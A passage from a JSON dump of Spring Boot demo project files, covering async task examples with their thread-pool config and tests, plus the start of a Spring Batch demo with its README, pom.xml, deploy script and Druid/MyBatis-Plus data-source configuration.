    "content": "package com.jun.plugin.spirngboot.async.pos.async;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.scheduling.annotation.Async;\nimport org.springframework.scheduling.annotation.AsyncResult;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.Future;\n\n/**\n * AsyncDemo\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/25\n */\n@Component\npublic class AsyncTask {\n    private static final Logger logger = LoggerFactory.getLogger(AsyncTask.class);\n\n    @Async\n    public void dealNoReturnTask() {\n        logger.info(\"返回值为void的异步调用开始\" + Thread.currentThread().getName());\n        try {\n            Thread.sleep(3000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n        logger.info(\"返回值为void的异步调用结束\" + Thread.currentThread().getName());\n    }\n\n    @Async\n    public Future<String> dealHaveReturnTask(int i) {\n        logger.info(\"asyncInvokeReturnFuture, parementer=\" + i);\n        Future<String> future;\n        try {\n            Thread.sleep(1000 * i);\n            future = new AsyncResult<String>(\"success:\" + i);\n        } catch (InterruptedException e) {\n            future = new AsyncResult<String>(\"error\");\n        }\n        return future;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/pos/config/AsyncConfig.java",
    "content": "package com.jun.plugin.spirngboot.async.pos.config;\n\nimport org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.scheduling.annotation.AsyncConfigurer;\nimport org.springframework.scheduling.annotation.EnableAsync;\nimport org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;\n\nimport com.jun.plugin.spirngboot.async.pos.async.AsyncExceptionHandler;\n\nimport java.util.concurrent.Executor;\n\n/**\n * AsyncConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/25\n */\n@Configuration\n@EnableAsync\npublic class AsyncConfig implements AsyncConfigurer {\n\n    @Override\n    public Executor getAsyncExecutor() {\n        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();\n        executor.setCorePoolSize(10);\n        executor.setMaxPoolSize(100);\n        executor.setQueueCapacity(100);\n        executor.setWaitForTasksToCompleteOnShutdown(true);\n        executor.setAwaitTerminationSeconds(60 * 10);\n        executor.setThreadNamePrefix(\"AsyncThread-\");\n        executor.initialize(); //如果不初始化，导致找到不到执行器\n        return executor;\n    }\n\n    @Override\n    public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {\n        return new AsyncExceptionHandler();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/java/com/jun/plugin/spirngboot/async/task/TaskFactory.java",
    "content": "package com.jun.plugin.spirngboot.async.task;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.scheduling.annotation.Async;\nimport org.springframework.scheduling.annotation.AsyncResult;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.Future;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 任务工厂\n * </p>\n *\n * @package: com.xkcoding.async.task\n * @description: 任务工厂\n * @author: yangkai.shen\n * @date: Created in 2018-12-29 10:37\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\n@Slf4j\npublic class TaskFactory {\n\n    /**\n     * 模拟5秒的异步任务\n     */\n    @Async\n    public Future<Boolean> asyncTask1() throws InterruptedException {\n        doTask(\"asyncTask1\", 5);\n        return new AsyncResult<>(Boolean.TRUE);\n    }\n\n    /**\n     * 模拟2秒的异步任务\n     */\n    @Async\n    public Future<Boolean> asyncTask2() throws InterruptedException {\n        doTask(\"asyncTask2\", 2);\n        return new AsyncResult<>(Boolean.TRUE);\n    }\n\n    /**\n     * 模拟3秒的异步任务\n     */\n    @Async\n    public Future<Boolean> asyncTask3() throws InterruptedException {\n        doTask(\"asyncTask3\", 3);\n        return new AsyncResult<>(Boolean.TRUE);\n    }\n\n    /**\n     * 模拟5秒的同步任务\n     */\n    public void task1() throws InterruptedException {\n        doTask(\"task1\", 5);\n    }\n\n    /**\n     * 模拟2秒的同步任务\n     */\n    public void task2() throws InterruptedException {\n        doTask(\"task2\", 2);\n    }\n\n    /**\n     * 模拟3秒的同步任务\n     */\n    public void task3() throws InterruptedException {\n        doTask(\"task3\", 3);\n    }\n\n    private void doTask(String taskName, Integer time) throws InterruptedException {\n        log.info(\"{}开始执行，当前线程名称【{}】\", taskName, Thread.currentThread().getName());\n        TimeUnit.SECONDS.sleep(time);\n        log.info(\"{}执行成功，当前线程名称【{}】\", taskName, Thread.currentThread().getName());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/main/resources/application.yml",
    "content": "spring:\n  task:\n    execution:\n      pool:\n        # 最大线程数\n        max-size: 16\n        # 核心线程数\n        core-size: 16\n        # 存活时间\n        keep-alive: 10s\n        # 队列大小\n        queue-capacity: 100\n        # 是否允许核心线程超时\n        allow-core-thread-timeout: true\n      # 线程名称前缀\n      thread-name-prefix: async-task-"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/test/java/com/jun/plugin/spirngboot/async/SpringBootDemoAsyncApplicationTests.java",
    "content": "package com.jun.plugin.spirngboot.async;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoAsyncApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/test/java/com/jun/plugin/spirngboot/async/task/TaskFactoryTest.java",
    "content": "package com.jun.plugin.spirngboot.async.task;\n\nimport com.jun.plugin.spirngboot.async.SpringBootDemoAsyncApplicationTests;\nimport com.jun.plugin.spirngboot.async.task.TaskFactory;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\n\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Future;\n\n/**\n * <p>\n * 测试任务\n * </p>\n *\n * @package: com.xkcoding.async.task\n * @description: 测试任务\n * @author: yangkai.shen\n * @date: Created in 2018-12-29 10:49\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class TaskFactoryTest extends SpringBootDemoAsyncApplicationTests {\n    @Autowired\n    private TaskFactory task;\n\n    /**\n     * 测试异步任务\n     */\n    @Test\n    public void asyncTaskTest() throws InterruptedException, ExecutionException {\n        long start = System.currentTimeMillis();\n        Future<Boolean> asyncTask1 = task.asyncTask1();\n        Future<Boolean> asyncTask2 = task.asyncTask2();\n        Future<Boolean> asyncTask3 = task.asyncTask3();\n\n        // 调用 get() 阻塞主线程\n        asyncTask1.get();\n        asyncTask2.get();\n        asyncTask3.get();\n        long end = System.currentTimeMillis();\n\n        log.info(\"异步任务全部执行结束，总耗时：{} 毫秒\", (end - start));\n    }\n\n    /**\n     * 测试同步任务\n     */\n    @Test\n    public void taskTest() throws InterruptedException {\n        long start = System.currentTimeMillis();\n        task.task1();\n        task.task2();\n        task.task3();\n        long end = System.currentTimeMillis();\n\n        log.info(\"同步任务全部执行结束，总耗时：{} 毫秒\", (end - start));\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_async/src/test/java/com/xncoding/pos/ApplicationTests.java",
    "content": "package com.xncoding.pos;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.jun.plugin.spirngboot.async.pos.async.AsyncTask;\n\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.Future;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.Matchers.*;\n\n/**\n * 测试异步任务\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class ApplicationTests {\n    private static final Logger log = LoggerFactory.getLogger(ApplicationTests.class);\n    @Autowired\n    private AsyncTask asyncTask;\n\n    @Test\n    public void testAsync() throws InterruptedException, ExecutionException {\n        asyncTask.dealNoReturnTask();\n\n        Future<String> f = asyncTask.dealHaveReturnTask(5);\n\n        log.info(\"主线程执行finished\");\n\n        log.info(f.get());\n        assertThat(f.get(), is(\"success:\" + 5));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/README.md",
    "content": "## SpringBoot Batch演示项目\n\nSpringBoot对批处理的支持演示\n\n## 初始化\n\n批处理初始化采用手动模式最好，先执行/resources/sql/下面对应SQL语句的初始化，\n任务完成后再执行清除语句。\n\n## 运行\n\n采用手动触发方式，对于每种类型的任务，只需要在/modules/common/vo/下面定义对应的Bean类即可。\n\n然后参照测试类中方法：\n\n``` java\n@Test\npublic void testRunSimple() throws Exception {\n    runTask(BscCanton.class);\n    runTask(BscOfficeExeItem.class);\n    runTask(BscExeOffice.class);\n    runTask(BscTollItem.class);\n    while (true) {\n        Thread.sleep(200000L);\n    }\n}\n```\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_batch</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>SpringBoot Batch演示</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <jackson-databind-version>2.9.4</jackson-databind-version>\n\t\t<druid.version>1.1.2</druid.version>\n        <mysql-connector.version>8.0.7-dmr</mysql-connector.version>\n        <mybatis-plus.version>2.1.8</mybatis-plus.version>\n        <mybatisplus-spring-boot-starter.version>1.0.5</mybatisplus-spring-boot-starter.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-batch</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.hsqldb</groupId>\n                    <artifactId>hsqldb</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <!--添加hibernate-validator依赖，作为数据校验使用-->\n        <dependency>\n            <groupId>org.hibernate.validator</groupId>\n            <artifactId>hibernate-validator</artifactId>\n            <version>6.0.7.Final</version>\n        </dependency>\n        <dependency>\n            <groupId>javax.validation</groupId>\n            <artifactId>validation-api</artifactId>\n            <version>2.0.1.Final</version>\n        </dependency>\n        <dependency>\n            <groupId>javax.el</groupId>\n            <artifactId>javax.el-api</artifactId>\n            <version>3.0.1-b04</version>\n        </dependency>\n        <dependency>\n            <groupId>org.glassfish.web</groupId>\n            <artifactId>javax.el</artifactId>\n            <version>2.2.6</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>com.vaadin.external.google</groupId>\n                    <artifactId>android-json</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\t\t<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <!-- Oracle驱动包 -->\n        <dependency>\n            <groupId>com.oracle</groupId>\n            <artifactId>ojdbc6</artifactId>\n            <version>11.2.0.4.0-atlassian-hosted</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n        <!-- MyBatis plus增强和springboot的集成-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatisplus-spring-boot-starter</artifactId>\n            <version>${mybatisplus-spring-boot-starter.version}</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/Application.java",
    "content": "package com.xncoding.trans;\n\nimport org.springframework.batch.core.configuration.annotation.EnableBatchProcessing;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/config/MybatisPlusConfig.java",
    "content": "package com.xncoding.trans.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.baomidou.mybatisplus.plugins.PaginationInterceptor;\nimport com.xncoding.trans.config.properties.DruidProperties;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport javax.annotation.Resource;\n\n/**\n * MybatisPlus配置\n *\n * @author xiongneng\n * @since 2017/5/20 21:58\n */\n@Configuration\n@EnableTransactionManagement(order = 2)\n@MapperScan(basePackages = {\"com.xncoding.trans.dao.repository\"})\npublic class MybatisPlusConfig {\n\n    @Resource\n    private DruidProperties druidProperties;\n\n    /**\n     * 单数据源连接池配置\n     */\n    @Bean\n    public DruidDataSource singleDatasource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        druidProperties.config(dataSource);\n        return dataSource;\n    }\n\n    /**\n     * mybatis-plus分页插件\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        return new PaginationInterceptor();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/config/properties/CommonProperties.java",
    "content": "package com.xncoding.trans.config.properties;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.util.JdbcConstants;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.SQLException;\n\n/**\n * 自定义配置文件\n *\n * @author xiongneng\n * @since 2017-05-21 11:18\n */\n@Component\n@ConfigurationProperties(prefix = \"common\")\npublic class CommonProperties {\n    /**\n     * csv文件路径，文件名格式为“表名.csv”\n     */\n    private String csvDir;\n    private String csvVtoll;\n    private String csvCanton;\n    private String csvExeOffice;\n    private String csvApp;\n    private String csvLog;\n    /**\n     * csv文件在哪 1:文件系统 2:类路径下面\n     */\n    private Integer location;\n\n    public String getCsvDir() {\n        return csvDir;\n    }\n\n    public void setCsvDir(String csvDir) {\n        this.csvDir = csvDir;\n    }\n\n    public String getCsvExeOffice() {\n        return csvExeOffice;\n    }\n\n    public void setCsvExeOffice(String csvExeOffice) {\n        this.csvExeOffice = csvExeOffice;\n    }\n\n    public String getCsvVtoll() {\n        return csvVtoll;\n    }\n\n    public void setCsvVtoll(String csvVtoll) {\n        this.csvVtoll = csvVtoll;\n    }\n\n    public String getCsvApp() {\n        return csvApp;\n    }\n\n    public void setCsvApp(String csvApp) {\n        this.csvApp = csvApp;\n    }\n\n    public String getCsvLog() {\n        return csvLog;\n    }\n\n    public void setCsvLog(String csvLog) {\n        this.csvLog = csvLog;\n    }\n\n    public String getCsvCanton() {\n        return csvCanton;\n    }\n\n    public void setCsvCanton(String csvCanton) {\n        this.csvCanton = csvCanton;\n    }\n\n    public Integer getLocation() {\n        return location;\n    }\n\n    public void setLocation(Integer location) {\n        this.location = location;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/config/properties/DruidProperties.java",
    "content": "package com.xncoding.trans.config.properties;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.util.JdbcConstants;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.SQLException;\n\n/**\n * <p>数据库数据源配置</p>\n * <p>说明:这个类中包含了许多默认配置,若这些配置符合您的情况,您可以不用管,若不符合,建议不要修改本类,建议直接在\"application.yml\"中配置即可</p>\n *\n * @author xiongneng\n * @since 2017-05-21 11:18\n */\n@Component\n@ConfigurationProperties(prefix = \"spring.datasource\")\npublic class DruidProperties {\n\n    private String url;\n\n    private String username;\n\n    private String password;\n\n    private String driverClassName;\n\n    private Integer initialSize = 10;\n\n    private Integer minIdle = 3;\n\n    private Integer maxActive = 60;\n\n    private Integer maxWait = 60000;\n\n    private Boolean removeAbandoned = true;\n\n    private Integer removeAbandonedTimeout = 180;\n\n    private Integer timeBetweenEvictionRunsMillis = 60000;\n\n    private Integer minEvictableIdleTimeMillis = 300000;\n\n    private String validationQuery = \"SELECT 1 from dual\";\n\n    private Boolean testWhileIdle = true;\n\n    private Boolean testOnBorrow = false;\n\n    private Boolean testOnReturn = false;\n\n    private Boolean poolPreparedStatements = true;\n\n    private Integer maxPoolPreparedStatementPerConnectionSize = 50;\n\n    private String filters = \"stat\";\n\n    public void config(DruidDataSource dataSource) {\n        dataSource.setDbType(JdbcConstants.ORACLE);\n        dataSource.setUrl(url);\n        dataSource.setUsername(username);\n        dataSource.setPassword(password);\n        dataSource.setDriverClassName(driverClassName);\n        dataSource.setInitialSize(initialSize);     // 定义初始连接数\n        dataSource.setMinIdle(minIdle);             // 最小空闲\n        dataSource.setMaxActive(maxActive);         // 定义最大连接数\n        dataSource.setMaxWait(maxWait);             // 获取连接等待超时的时间\n        dataSource.setRemoveAbandoned(removeAbandoned); // 超过时间限制是否回收\n        dataSource.setRemoveAbandonedTimeout(removeAbandonedTimeout); // 超过时间限制多长\n\n        // 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\n        dataSource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis);\n        // 配置一个连接在池中最小生存的时间，单位是毫秒\n        dataSource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis);\n        // 用来检测连接是否有效的sql，要求是一个查询语句\n        dataSource.setValidationQuery(validationQuery);\n        // 申请连接的时候检测\n        dataSource.setTestWhileIdle(testWhileIdle);\n        // 申请连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnBorrow(testOnBorrow);\n        // 归还连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnReturn(testOnReturn);\n        // 打开PSCache，并且指定每个连接上PSCache的大小\n        dataSource.setPoolPreparedStatements(poolPreparedStatements);\n        dataSource.setMaxPoolPreparedStatementPerConnectionSize(maxPoolPreparedStatementPerConnectionSize);\n        // 属性类型是字符串，通过别名的方式配置扩展插件，常用的插件有：\n        // 监控统计用的filter:stat\n        // 日志用的filter:log4j\n        // 防御SQL注入的filter:wall\n        try {\n            dataSource.setFilters(filters);\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getDriverClassName() {\n        return driverClassName;\n    }\n\n    public void setDriverClassName(String driverClassName) {\n        this.driverClassName = driverClassName;\n    }\n\n    public Integer getInitialSize() {\n        return initialSize;\n    }\n\n    public void setInitialSize(Integer initialSize) {\n        this.initialSize = initialSize;\n    }\n\n    public Integer getMinIdle() {\n        return minIdle;\n    }\n\n    public void setMinIdle(Integer minIdle) {\n        this.minIdle = minIdle;\n    }\n\n    public Integer getMaxActive() {\n        return maxActive;\n    }\n\n    public void setMaxActive(Integer maxActive) {\n        this.maxActive = maxActive;\n    }\n\n    public Integer getMaxWait() {\n        return maxWait;\n    }\n\n    public void setMaxWait(Integer maxWait) {\n        this.maxWait = maxWait;\n    }\n\n    public Integer getTimeBetweenEvictionRunsMillis() {\n        return timeBetweenEvictionRunsMillis;\n    }\n\n    public void setTimeBetweenEvictionRunsMillis(Integer timeBetweenEvictionRunsMillis) {\n        this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis;\n    }\n\n    public Integer getMinEvictableIdleTimeMillis() {\n        return minEvictableIdleTimeMillis;\n    }\n\n    public void setMinEvictableIdleTimeMillis(Integer minEvictableIdleTimeMillis) {\n        this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis;\n    }\n\n    public String getValidationQuery() {\n        return validationQuery;\n    }\n\n    public void setValidationQuery(String validationQuery) {\n        this.validationQuery = validationQuery;\n    }\n\n    public Boolean getTestWhileIdle() {\n        return testWhileIdle;\n    }\n\n    public void setTestWhileIdle(Boolean testWhileIdle) {\n        this.testWhileIdle = testWhileIdle;\n    }\n\n    public Boolean getTestOnBorrow() {\n        return testOnBorrow;\n    }\n\n    public void setTestOnBorrow(Boolean testOnBorrow) {\n        this.testOnBorrow = testOnBorrow;\n    }\n\n    public Boolean getTestOnReturn() {\n        return testOnReturn;\n    }\n\n    public void setTestOnReturn(Boolean testOnReturn) {\n        this.testOnReturn = testOnReturn;\n    }\n\n    public Boolean getPoolPreparedStatements() {\n        return poolPreparedStatements;\n    }\n\n    public void setPoolPreparedStatements(Boolean poolPreparedStatements) {\n        this.poolPreparedStatements = poolPreparedStatements;\n    }\n\n    public Integer getMaxPoolPreparedStatementPerConnectionSize() {\n        return maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public void setMaxPoolPreparedStatementPerConnectionSize(Integer maxPoolPreparedStatementPerConnectionSize) {\n        this.maxPoolPreparedStatementPerConnectionSize = maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public String getFilters() {\n        return filters;\n    }\n\n    public void setFilters(String filters) {\n        this.filters = filters;\n    }\n\n    public Boolean getRemoveAbandoned() {\n        return removeAbandoned;\n    }\n\n    public void setRemoveAbandoned(Boolean removeAbandoned) {\n        this.removeAbandoned = removeAbandoned;\n    }\n\n    public Integer getRemoveAbandonedTimeout() {\n        return removeAbandonedTimeout;\n    }\n\n    public void setRemoveAbandonedTimeout(Integer removeAbandonedTimeout) {\n        this.removeAbandonedTimeout = removeAbandonedTimeout;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/dao/entity/User.java",
    "content": "package com.xncoding.trans.dao.entity;\n\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\n\nimport java.io.Serializable;\n\n@TableName(value = \"t_user\")\npublic class User extends Model<User> {\n    /**\n     * 主键ID\n     */\n    @TableId(value = \"id\", type = IdType.INPUT)\n    private Integer id;\n\n    private String username;\n\n    private String password;\n\n    public User() {\n    }\n\n    public User(Integer id, String username, String password) {\n        this.id = id;\n        this.username = username;\n        this.password = password;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/dao/repository/UserMapper.java",
    "content": "package com.xncoding.trans.dao.repository;\n\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\nimport com.xncoding.trans.dao.entity.User;\n\npublic interface UserMapper extends BaseMapper<User> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/main/java/com/xncoding/trans/modules/MyBatchConfig.java",
